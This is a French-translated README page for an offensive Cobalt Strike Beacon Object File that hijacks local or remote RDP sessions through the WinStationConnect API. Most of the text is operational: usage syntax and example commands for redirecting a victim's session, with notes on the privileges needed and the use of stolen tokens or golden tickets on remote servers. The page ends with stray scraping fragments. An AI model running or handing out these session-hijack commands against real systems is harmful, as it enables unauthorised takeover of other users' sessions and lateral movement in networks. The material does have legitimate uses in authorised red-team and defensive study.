netero1010/rdphijack-bofFichier d'objet Beacon (BOF) pour Cobalt Strike qui utilise l'API WinStationConnect pour effectuer un détournement de session RDP local/à distance.
Fichier objet Beacon (BOF) pour Cobalt Strike qui utilise l'API WinStationConnect pour effectuer un détournement de session RDP local/à distance. Avec un jeton d'accès valide / un ticket Kerberos (par exemple, un golden ticket) du propriétaire de la session, vous serez en mesure de détourner la session à distance sans déposer de beacon/outil sur le serveur cible.
Pour énumérer les sessions localement/à distance, vous pouvez utiliser Quser-BOF.
Usage: bof-rdphijack [your console session id] [target session id to hijack] [password|server] [argument]
Commande Description
-------- -----------
password Spécifie le mot de passe de l'utilisateur propriétaire de la session à laquelle vous souhaitez vous connecter.
server Spécifie le serveur distant sur lequel vous souhaitez effectuer le détournement RDP.
Exemple d'utilisation
--------
Rediriger la session 2 vers la session 1 (nécessite un privilège SYSTEM) :
bof-rdphijack 1 2
Rediriger la session 2 vers la session 1 avec le mot de passe de l'utilisateur propriétaire de la session 2 (nécessite un beacon de haute intégrité) :
bof-rdphijack 1 2 password P@ssw0rd123
Rediriger la session 2 vers la session 1 pour un serveur distant (nécessite un jeton/ticket de l'utilisateur propriétaire de la session 2) :
bof-rdphijack 1 2 server SQL01.lab.internal
make
tscon.exe